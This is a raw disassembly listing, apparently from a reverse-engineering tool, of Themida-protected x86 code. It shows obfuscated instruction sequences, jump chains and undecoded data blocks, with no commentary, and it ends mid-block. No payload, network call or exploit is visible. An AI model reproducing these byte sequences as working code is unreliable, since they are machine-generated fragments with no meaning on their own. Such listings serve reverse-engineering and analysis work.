		and	ebx, 172B71E9h
		inc	ebx
		push	edi
		jmp	loc_55B270
; ---------------------------------------------------------------------------
byte_55DE59	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FEC4o
aStsT		db '$STé»T',0
		align 4
		dd 515BD801h, 4B9h, 0C6E95500h,	8BFFFF32h, 0BD552424h
		dd 1A8B0F67h, 0CFE9E801h, 0BB000005h, 592D6E10h, 0FF82ECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DE8D:				; CODE XREF: Themida_:00559F0Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	ah, bh
		mov	bh, dl
		mov	dl, ah
		pop	eax
		push	dx
		mov	dl, ch
		mov	ch, bh
		mov	bh, dl
		jmp	loc_557C9C
; ---------------------------------------------------------------------------

loc_55DEB2:				; CODE XREF: Themida_:0055AC3Ej
		pop	edx
		push	dword ptr [esp]
		jmp	loc_559478
; ---------------------------------------------------------------------------

loc_55DEBB:				; CODE XREF: Themida_:0055B306j
		push	edx
		mov	edx, 6B752B9Bh
		push	ebx
		mov	ebx, 137A319Bh
		sub	ebx, 0C871CDA5h
		or	edx, ebx
		pop	ebx
		push	ecx
		push	edi
		mov	edi, 39E4154Fh
		jmp	loc_56487E
; ---------------------------------------------------------------------------

loc_55DEDC:				; CODE XREF: Themida_:0055F2F1j
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55BB46
; ---------------------------------------------------------------------------
		dd 0E95AD121h, 0FFFFCED2h, 2C69E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DEFA:				; CODE XREF: Themida_:00551A0Aj
		shl	esi, 2
		jmp	loc_55E346
; ---------------------------------------------------------------------------

loc_55DF02:				; CODE XREF: Themida_:0055FAD8j
		push	eax
		mov	eax, 176D2A15h
		sub	edi, 77442A53h
		sub	edi, eax
		add	edi, 77442A53h
		pop	eax
		jmp	loc_5552F2
; ---------------------------------------------------------------------------
		dd 0FA0072B2h, 0FE77E95Bh, 15CFFFFh, 0FF555FFDh, 5D042474h
		dd 5C24048Fh, 9C240430h, 0FF6D64E9h, 0EB815BFFh, 670D1757h
		dd 0C381F329h, 670D1757h, 0FFA037E9h, 4C781FFh,	87000000h
		dd 315C243Ch, 0CDCBE9C2h, 481FFFFh, 424h, 241C8B00h, 4C481h
		dd 0C3810000h, 4, 5935E9h, 68565300h, 35074ECEh, 68C6815Eh
		dd 815EC921h, 3A43C9C6h, 56F68174h, 81252627h, 0D36B5BC6h
		dd 5EF389D2h, 12E9D889h, 0C0000070h, 0E95104EFh, 0FFFF4545h
; ---------------------------------------------------------------------------

loc_55DFB0:				; CODE XREF: Themida_:00552A1Fj
		add	eax, esi
		jmp	loc_5605F8
; ---------------------------------------------------------------------------

loc_55DFB7:				; CODE XREF: Themida_:00565295j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	edi
		jmp	loc_55E72D
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EFh
		dd 2212FF7Ch, 34FFFE01h, 0C4815F24h, 4,	2B850h,	0C6010000h
		dd 24343358h, 33243431h, 248B2434h, 0A30F6624h,	0E99C2404h
		dd 0FFFF209Fh
; ---------------------------------------------------------------------------

loc_55DFF8:				; CODE XREF: Themida_:005532E8j
		add	edx, 3769362Fh
		jmp	loc_55465A
; ---------------------------------------------------------------------------
		db 0BEh
		dd 1F741D29h, 0E6C1D6F7h, 0A8C68102h, 56D0B280h, 0E9535E5Bh
		dd 0FFFF89A5h
; ---------------------------------------------------------------------------

loc_55E01C:				; CODE XREF: Themida_:0056134Aj
		shl	edx, 1
		add	edx, 0F3BBA145h
		or	esi, edx
		pop	edx
		push	ebx
		jmp	loc_56077D
; ---------------------------------------------------------------------------

loc_55E02D:				; CODE XREF: Themida_:00560F78j
		pop	edi
		jmp	loc_5603AB
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0E9CB20F5h, 0FFFFABDDh, 4244481h, 2D1F1515h,	0FF7DDFE9h
		dd 47BD68FFh, 1DE90000h
		db 13h,	2 dup(0)
byte_55E053	db 0ADh			; DATA XREF: Themida_:0054FEB4o
		dd 0DFBB5357h, 0E9593C2Ah, 0FFFF732Ch, 5559C801h, 4BDh
		dd 5DE80100h, 2474FF50h, 617FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E076:				; CODE XREF: Themida_:00557B17j
		shr	edx, 1
		jmp	loc_55CEF1
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0EEh
		dd 5BFFFF26h, 4B4DC981h, 0D9F72815h, 0F17AC181h, 89558DB1h
		dd 5DEA89CDh, 0FFC8D4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E09D:				; CODE XREF: Themida_:0055AC51j
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_55A1B5
; ---------------------------------------------------------------------------
		dw 0AA68h
		dd 89000004h, 0AA68242Ch, 8900006Ah, 1C682404h,	58248864h
		dd 28553D25h, 0BD555677h, 106B42D5h, 0FEE95E55h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E0CF:				; CODE XREF: Themida_:005535D6j
		shl	ebp, 1
		dec	ebp
		not	ebp
		not	ebp
		sub	ebp, 0DCFFACA8h
		jmp	loc_55D428
; ---------------------------------------------------------------------------
aVse@		db 'VéE@',0             ; DATA XREF: Themida_:0054FE50o
		db 0
; ---------------------------------------------------------------------------

loc_55E0E7:				; CODE XREF: Themida_:00551880j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	ebx, eax
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55241B
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFD996h, 159CB89h, 43685BDAh,	89000047h
		dd 32B9240Ch, 83053072h, 8E904ECh, 87000041h, 0FF5C2404h
		dd 3AE92434h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E133:				; CODE XREF: Themida_:00553570j
		add	eax, 72AB786Ch
		not	eax
		push	ebp
		mov	ebp, 8EB294C6h
		add	eax, 53065E66h
		sub	eax, ebp
		sub	eax, 53065E66h
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_550A53
; ---------------------------------------------------------------------------
		db 5Eh,	50h, 0B8h
		dd 4, 0E958C601h, 56Bh
; ---------------------------------------------------------------------------

loc_55E178:				; CODE XREF: Themida_:0055A7ADj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_557437
; ---------------------------------------------------------------------------

loc_55E183:				; CODE XREF: Themida_:0055AB98j
		add	esp, 4
		jmp	loc_558BD1
; ---------------------------------------------------------------------------
		dw 3358h
		dd 2C31242Ch, 242C3324h, 0C8B665Ch, 40F8E924h, 0EC83FFFFh
		dd 24048904h, 5DF468h, 3029E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E1B2:				; CODE XREF: Themida_:00554A8Cj
		mov	ebx, 6B3F56FEh
		xor	esi, ebx
		pop	ebx
		mov	ebx, esi
		jmp	loc_56261A
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4B951h, 0CB010000h, 4B95159h, 0E9000000h, 0FFFFC4B8h
		dd 4B9h, 59CA0100h, 5C241487h, 0A1E9D029h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E1EB:				; CODE XREF: Themida_:00561EA0j
		mov	[esp], ebx
		mov	ebx, 7F3E3B06h
		neg	ebx
		shr	ebx, 1
		sub	ebx, 0FFFFFFFFh
		add	ebx, 1E356D01h
		add	eax, ebx
		pop	ebx
		sub	ebx, 6E015BD1h
		sub	ebx, eax
		add	ebx, 6E015BD1h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560E06
; ---------------------------------------------------------------------------
		db 89h
		dd 23BD5BDAh, 153D4FCh,	0E5815AD5h, 366B1F71h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 248B241Ch, 388AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E24A:				; CODE XREF: Themida_:00553196j
		push	5C7h
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_55607B
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 39E981F1h, 5E7D5222h, 81241C8Bh, 4C4h, 240C8700h, 6624248Bh
		dd 5724048Bh, 9EE9E789h, 59FFFF2Bh, 6806E9C1h, 931h, 0B8240489h
		dd 3F945CB4h, 2508E8C1h, 5E9F3636h, 1A56BA52h, 0C281162Ah
		dd 1BA45ED6h, 8102EAC1h, 94952FF2h, 5AD0010Bh, 48BC101h
		dd 4C48324h, 4753E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E2C6:				; CODE XREF: Themida_:005591F6j
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55C5E0
; ---------------------------------------------------------------------------

loc_55E2E3:				; CODE XREF: Themida_:00564C22j
		or	ebp, 15666CD1h
		sub	ebp, 515644CFh
		xor	ebp, 0ADAED6C7h
		add	ecx, ebp
		pop	ebp
		or	edi, ecx
		pop	ecx
		jmp	loc_55D9FF
; ---------------------------------------------------------------------------
		dd 0C1815954h, 4, 4E981h, 0C870000h, 2C895C24h,	20036824h
		dd 0EC810000h, 4, 0E9242489h, 0FFFF6769h, 0E92434FFh, 29A5h
		dd 2434FF5Ch, 6DFEE959h, 0F660000h, 5166C8AFh, 1D51E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E346:				; CODE XREF: Themida_:0055DEFDj
		dec	esi
		jmp	loc_555D43
; ---------------------------------------------------------------------------
		dd 8102E1C1h, 631FC3C1h, 7E9C141h, 4FE0E949h, 0C2810000h
		dd 4, 0FF6FFDE9h, 2474FFFFh, 2172E904h,	0C7010000h, 5422C781h
		dd 0E958434Fh, 0FFFF9B68h, 4BEh, 0AF67E900h, 0C780FFFFh
		dd 47B9E929h, 348B0000h, 4C48124h, 0F7000000h, 74CE81DEh
		dd 8158081Ch, 0A7CD71F6h, 0BC8AE9EEh, 80BBFFFFh, 29EC498Ch
		dd 0D5215BDAh, 8324148Bh, 0E5C104C4h, 3E5C103h,	0E906EDC1h
		dd 50D1h, 97E9C531h, 87000013h,	895C240Ch, 74FF2414h, 8F5A0424h
		dd 0E95C2404h, 0FFFFA3F9h
; ---------------------------------------------------------------------------

loc_55E3E8:				; CODE XREF: Themida_:00551337j
		pop	ebx
		push	esi
		mov	esi, 641D174Fh
		jmp	loc_55228A
; ---------------------------------------------------------------------------
		dd 4151EB81h, 0BE560BCBh, 44212593h, 0FF9342E9h, 0EE815DFFh
		dd 4, 8B243487h, 0C892424h, 55E18924h, 4229BF57h, 0FD894549h
		dd 50243C8Bh, 405E089h,	51000000h, 4B9h, 59C80100h, 0E9240487h
		dd 0FFFF63C3h
; ---------------------------------------------------------------------------

loc_55E43C:				; CODE XREF: Themida_:00564901j
		add	edi, 96C1D0D5h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5645C9
; ---------------------------------------------------------------------------
		dw 55Dh
		dd 409A50E0h, 0E02DD801h, 2D409A50h, 1A8B0F67h,	0FF3D34E9h
		dd 4C483FFh, 2073C381h,	0C329101Eh, 2073EB81h, 6668101Eh
		dd 8900000Ah, 0ABB82404h, 68107279h, 7F4Fh, 52243C89h
		dd 0BF427868h, 0A568E911h, 5B5EFFFFh, 34FF3089h, 0F5685E24h
		dd 89000028h, 6F682434h, 89000046h, 57512424h, 0CA5F8268h
		dd 21FBE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E4BE:				; CODE XREF: Themida_:005568CDj
		push	5977h
		jmp	loc_55D924
; ---------------------------------------------------------------------------

loc_55E4C8:				; CODE XREF: Themida_:00565262j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56022E
; ---------------------------------------------------------------------------
		dd 525BB53h, 0D8292E5Ch, 2FE9595Bh
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E4E3:				; CODE XREF: Themida_:00562C92j
		shl	ebp, 5
		push	ecx
		mov	ecx, 5A6F46FEh
		inc	ecx
		shl	ecx, 5
		xor	ecx, 20CB7C91h
		jmp	loc_55778D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 6C1E2705h, 0E9E80151h, 0FFFF5A6Eh, 81243C8Bh, 4C4h
		dd 241C8700h, 8F24248Bh, 248B2404h, 48B6624h, 0E0895024h
		dd 405h, 4EC8300h, 51243489h, 5960E9h
		db 0
byte_55E539	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550040o
aHgf		db '$h£f',0
		align 2
		dw 1489h
aIthc		db '$‰âh–,',0
		align 4
		dd 0BB241C89h, 4, 4EC81h, 4890000h, 5992B824h, 0EA8151CBh
		dd 5586827h, 2AE9C201h,	81FFFFA8h, 814950F1h, 59CE29A9h
		dd 710AE981h, 0DDE979CEh, 89000004h, 8BF789D6h,	4FE92434h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E58F:				; CODE XREF: Themida_:00563F1Bj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebp
		push	ebp
		mov	ebp, edi
		jmp	loc_55FA13
; ---------------------------------------------------------------------------
		align 2
		dw 80DCh
		dd 0EC8035C4h, 53E95BADh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E5B3:				; CODE XREF: Themida_:0055451Aj
		mov	ecx, [esp]
		jmp	loc_562F57
; ---------------------------------------------------------------------------
		db 81h
		dd 7D6A83EFh, 81CF010Ah, 7D6A83C7h, 8FEF810Ah, 5952A13Ch
		dd 4EC8350h, 361AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E5D9:				; CODE XREF: Themida_:0055FBCCj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5561B7
; ---------------------------------------------------------------------------

loc_55E5E7:				; CODE XREF: Themida_:0055CD50j
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		jmp	loc_55329E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0DA2E9h, 243C8B00h, 0E9E68956h, 0FFFFC4D3h, 42E8C381h
		dd 0BA5224F8h, 5ECF73FCh, 5A5AD301h, 5C241C87h,	24048B66h
		dd 371AE956h, 0C7800000h, 13E7809Fh, 0C780DFF6h, 9AF78020h
		dd 0C2E9FA30h, 28FFFFEDh, 0CF285AD7h, 8B5BC780h, 0BCE9240Ch
		dd 51FFFF62h, 72CDF68h,	5741593Dh, 0B2459DBFh, 0E9F90901h
		dd 10AAh, 8324348Bh, 2C3304C4h,	242C3124h, 5C242C33h, 89242C89h
		dd 4C581E5h, 0E9000000h, 0FFFFAD9Ah, 34E468h, 24348900h
		dd 0C4E9E689h, 0FFFFFF75h, 57582434h, 9FE95F54h, 5AFFFF80h
		dd 4C481h, 0E3880000h, 0FFBCA2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E6AD:				; CODE XREF: Themida_:005597ECj
		sub	edx, 3F4F761Dh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_561842
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0A6E90000h, 0BEFFFF7Ch, 44884427h, 15EF029h
		dd 442705F8h, 49E94488h, 8300006Dh, 348704C6h, 1CADE924h
		dd 15BF0000h, 31316A00h, 3842E9FDh, 0BD55FFFFh,	0B49E1AC3h
		dd 0E95DEA01h, 0FFFF4934h, 0F44BEF81h, 0FA31CBBDh, 79F2815Fh
		dd 81254E6Bh, 181C32EAh, 0A2EA8138h, 539F62Bh, 2F96623h
		dd 0FF1983E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E72D:				; CODE XREF: Themida_:0055DFC0j
		mov	edi, 390065BEh
		jmp	loc_551756
; ---------------------------------------------------------------------------
		db 83h
		dd 0DA0104C4h, 2414335Bh, 33241431h, 248B2414h,	0AC21E924h
		dd 4D04FFFFh, 0C8B682Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55EEAA
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 41h
		dd 0E929926Eh, 0FFFFDD30h, 0D2E9CB01h, 8B000012h, 0C483241Ch
		dd 6EBC104h, 609568h, 0D361E900h, 815DFFFFh, 0FC6B7DEFh
		dd 5FFB011Ah, 0FF633BE9h, 0E1C380FFh, 0FF796DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E799:				; CODE XREF: Themida_:0055089Fj
		push	21E3h
		mov	[esp], esp
		jmp	loc_55D544
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFDA56h, 5DEA8966h, 0B8665066h, 29660028h, 6312E9C2h
		dd 0C4810000h, 4, 7B0DC581h, 0E8295164h, 45BE95Dh, 81570000h
		dd 4ECh, 64BBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E7DE:				; CODE XREF: Themida_:00558AC0j
		xor	edi, ecx
		pop	ecx
		jmp	loc_55F347
; ---------------------------------------------------------------------------

loc_55E7E6:				; CODE XREF: Themida_:00555AF7j
		push	edx
		mov	dl, bl
		push	eax
		mov	ah, dl
		mov	cl, ah
		pop	eax
		jmp	loc_55D6AC
; ---------------------------------------------------------------------------
		dd 198568h, 240C8900h, 6866E8B5h, 51E97E2Ch
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E807:				; CODE XREF: Themida_:00557AD0j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5615C4
; ---------------------------------------------------------------------------
		dw 0E280h
		dd 0FEC2FE47h, 0CAC280C2h, 0FE5AD388h, 2E3C0C3h, 8048C380h
		dd 0A8E92CEBh, 81FFFFD5h, 0D626CEC6h, 0E9C6014Bh, 0FFFF2F12h
		dd 0D2F7D687h, 0E951D687h, 0FFFFC370h, 0E689565Ch, 4C681h
		dd 0EE830000h, 24348704h, 0FF3FBBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E86D:				; CODE XREF: Themida_:00560E0Ej
		push	esi
		jmp	loc_55943E
; ---------------------------------------------------------------------------
		db 81h
		dd 0C26A26F6h, 0D7E9560Eh, 66FFFF82h, 0E9CCB60Fh, 0FFFFAD48h
		dd 8BD0015Ch, 0C4812414h, 4, 3DEEE952h,	0C483FFFFh, 5E545604h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 0BB241C89h, 206656FBh
		dd 242C8153h, 1, 33241431h, 14312414h, 0CCCBE924h, 0DAF7FFFFh
		dd 8106E2C1h, 4CB91AEAh, 0E9D30165h, 4461h
dword_55E8E0	dd 24048B66h, 4EC81h, 2C890000h, 4EC8124h, 89000000h, 0EC812424h
					; DATA XREF: Themida_:0054FF7Co
		dd 4, 0E9240C89h, 0FFFF1F75h, 89BF5756h, 894B1B1Ch, 243C8BFEh
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 348B5856h, 4C48324h
		dd 2D02E8C1h, 1, 0E9D0F748h, 0FFFF9107h, 4EC81h, 34890000h
		dd 0D0B85024h, 0E906F942h, 0FFFFAE3Dh
; ---------------------------------------------------------------------------

loc_55E94C:				; CODE XREF: Themida_:0055C575j
		inc	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_55893E
; ---------------------------------------------------------------------------
		db 5Eh,	52h, 5Bh
		dd 5BDA015Ah, 8102C283h, 4ECh, 24148900h, 42474FFh, 0E924148Bh
		dd 0FFFF1B3Ah
; ---------------------------------------------------------------------------

loc_55E974:				; CODE XREF: Themida_:00563780j
		add	eax, ebx
		add	eax, 771335FEh
		push	esi
		mov	esi, 4901412Ch
		inc	esi
		shl	esi, 2
		and	esi, 410F4EB6h
		not	esi
		xor	esi, 7AB23DBDh
		jmp	loc_552A19
; ---------------------------------------------------------------------------

loc_55E998:				; CODE XREF: Themida_:00558740j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_562F0F
; ---------------------------------------------------------------------------
		dd 5C241487h, 0BB241C89h, 4, 875BDA01h,	248B2414h, 80C32824h
		dd 0EC68F9EBh, 8900001Fh, 63B9240Ch, 0C134A41Bh, 0D1F705E9h
		dd 49AFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E9D1:				; CODE XREF: Themida_:005651BCj
		push	6C07h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D6BB
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0FCh
		dd 1FFFF1Eh, 0E95659CFh, 0FFFFFCDBh, 0BE9C6FEh
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E9FB:				; CODE XREF: Themida_:00551A8Ej
		add	esp, 4
		jmp	loc_55ED8B
; ---------------------------------------------------------------------------
word_55EA06	dw 74FFh		; DATA XREF: Themida_:0054FE10o
		dd 34FF0424h, 2434FF24h, 8124048Bh, 4C4h, 0EC835000h, 24248904h
		dd 4240483h, 8324048Bh,	685704C4h, 1BE45314h, 3B9515Fh
		dd 0E9374201h, 9A2h, 0C281E289h, 4, 4C281h, 14870000h
		dd 56535C24h, 0FFF5AEE9h, 24348BFFh, 0E904C483h, 0FFFF1637h
		dd 1D34BE56h, 0E6C165D0h, 1C68304h, 8DAAEE81h, 0F101F5D2h
		dd 0FAC1815Eh, 0E95E3D58h, 2069h, 8714E95Bh, 0E289FFFFh
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFC3C2h
; ---------------------------------------------------------------------------

loc_55EA9C:				; CODE XREF: Themida_:0055995Ej
		mov	eax, 2981042Eh
		push	edi
		mov	edi, 4F591A9Dh
		sub	eax, edi
		pop	edi
		not	eax
		jmp	loc_5532F4
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 7A22E924h,	89B8FFFFh
		dd 2D605601h, 60560185h, 8158C301h, 4ECh, 243C8900h, 4BFh
		dd 5FFB0100h, 5C241C87h, 5C243C87h, 57D968h, 241C8900h
		dd 0E9D58851h, 2CF6h, 4C481h, 2C870000h, 0F665C24h, 9C2404B3h
		dd 0FF1582E9h, 5DEB29FFh, 0AD5DA505h, 2DD82975h, 75AD5DA5h
		dd 0FF518DE9h, 0BA525EFFh, 57F00A60h, 5504E9h, 5E80100h
		dd 5A3B030Dh, 0FF4CA4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EB41:				; CODE XREF: Themida_:00559686j
		mov	ecx, 95B6B3Ah
		and	ecx, 1A2E6A28h
		or	ecx, 55DD1D43h
		shl	ecx, 3
		and	ecx, 2D8E72C9h
		shr	ecx, 1
		add	ecx, 0CA2EB775h
		add	esi, ecx
		pop	ecx
		add	ebp, esi
		jmp	loc_551B25
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 1Ah
		dd 5900004Ah, 59E1E681h, 0C68174E6h, 7058437Ah,	0E681D6F7h
		dd 19762DD6h, 32B2CE81h, 0C6817F06h, 0D7D80878h, 0D2E9F289h
		dd 8BFFFF6Fh, 0BD68243Ch, 0E9000017h, 0FFFFAC78h, 241C895Ch
		dd 0FFB2A8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EBB1:				; CODE XREF: Themida_:0055DC3Cj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55F442
; ---------------------------------------------------------------------------

loc_55EBBA:				; CODE XREF: Themida_:00561D2Cj
		add	eax, 4
		jmp	loc_5564D2
; ---------------------------------------------------------------------------
		dd 0E959C821h, 0FFFF1A5Ah, 8B24048Fh, 0B70F2424h, 0EC8351C8h
		dd 24248904h, 4240483h,	592434FFh, 81E18951h, 4C1h, 4BA5200h
		dd 1000000h, 77B1E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EBFA:				; CODE XREF: Themida_:00557AF6j
		add	ebp, 6EA47B4Bh
		jmp	loc_5590D1
; ---------------------------------------------------------------------------
aS_9		db ')Èé¼>',0
		align 4
		dd 88FD8851h, 240C8BEAh, 8B04C483h, 0C481241Ch,	4, 148BD088h
		dd 4C48324h, 34BAE9h, 0B5E95E00h, 81FFFF5Ah, 4C5h, 4ED8300h
		dd 2474FF55h, 32D7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EC46:				; CODE XREF: Themida_:0055486Bj
		mov	[esp], esi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		jmp	loc_550FF8
; ---------------------------------------------------------------------------

loc_55EC6D:				; CODE XREF: Themida_:00557E51j
		mov	edi, 660E01D0h
		sub	edi, 660E01CCh
		add	ebp, edi
		jmp	loc_55DC7F
; ---------------------------------------------------------------------------
		db 1
		dd 0D4EE81FEh, 5F41D176h, 6804C683h, 2290h, 0FF243489h
		dd 8B042474h, 89532434h, 3DAFE9E3h, 0ED81FFFFh,	18427CC1h
		dd 1D0FC581h, 0DBE94B1Ch, 58FFFFF4h, 8048C780h,	0E7C0CFCFh
		dd 8AF78005h, 0C05BFD88h, 8CE902E5h, 80FFFFCBh,	0EB801AEBh
		dd 0BE17E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55ECD6:				; CODE XREF: Themida_:00561FB9j
		pop	esi
		jmp	loc_554A2D
; ---------------------------------------------------------------------------
		dd 0E3E68h, 48F5400h, 24048324h, 243C8B04h, 81E78957h
		dd 4C7h, 4BD5500h, 1000000h, 3C875DEFh,	0EC815C24h, 4
		dd 51240489h, 0A90C2FB9h, 8E5AE91Dh, 0FE29FFFFh, 4EC815Fh
		dd 89000000h, 0C1E92404h, 1000035h, 3EC381F3h, 8B135D64h
		dd 4EE92434h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55ED37:				; CODE XREF: Themida_:0055F4ADj
		push	eax
		mov	eax, edi
		mov	edx, eax
		pop	eax
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_5599F6
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 27D9E9h, 8E2C100h, 0D2F7DAF7h, 1464E94Ah,	5A500000h
		dd 24540158h, 24148B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_554A6A
; ---------------------------------------------------------------------------

loc_55ED8B:				; CODE XREF: Themida_:0055EA01j
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_55AF1B
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFFDA9Fh, 5A0F6859h
		dd 34890000h, 515E5424h, 48B1E9h, 0E9F52900h, 63B1h, 2275EA81h
		dd 0D329DA7Fh, 81CB015Ah, 102FFAC3h, 0C3815935h, 4, 106FE9h
		db 0
byte_55EDF5	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0054FF64o
		dd 0FFC5E3E9h, 0B1515BFFh, 52E18004h, 0F638C180h, 80D9F6D1h
		dd 0F18064C9h, 8BCC0866h, 0C483240Ch, 8E60E904h, 0D159FFFFh
		dd 0E0D148E0h, 0A64E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55EE2A:				; CODE XREF: Themida_:00560CB2j
		neg	eax
		push	edi
		mov	edi, 3A296754h
		jmp	loc_56124B
; ---------------------------------------------------------------------------

loc_55EE37:				; CODE XREF: Themida_:00553FA2j
		pop	esp
		jmp	loc_562314
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 53000000h, 0CF765FBBh, 24448177h, 0F54B1908h, 245C292Bh
		dd 246C8108h, 0F54B1908h, 54015B2Bh, 0A6E90424h, 68FFFFB3h
		dd 0E7Fh, 55240489h, 5051F9BDh,	0E9D5F708h, 0FFFFBB2Bh
		dd 0A8685550h, 5D2CC915h, 0BB53D5F7h, 182169C5h, 8104E3C1h
		dd 0AF0552E3h, 14F38178h, 0F7358001h, 32E2E9DBh, 34FF0000h
		dd 8879E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EEAA:				; CODE XREF: Themida_:0055E758j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55317F
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0A2E95000h
		db 47h,	2 dup(0FFh)
byte_55EEC7	db 0FFh			; DATA XREF: Themida_:00550008o
		dd 0F1E92434h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EECF:				; CODE XREF: Themida_:00554A28j
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 42E57A00h
		or	ebp, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56555B
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 55D7015Bh, 0C54D4BDh, 46C78105h, 1673053h, 46EF81EFh
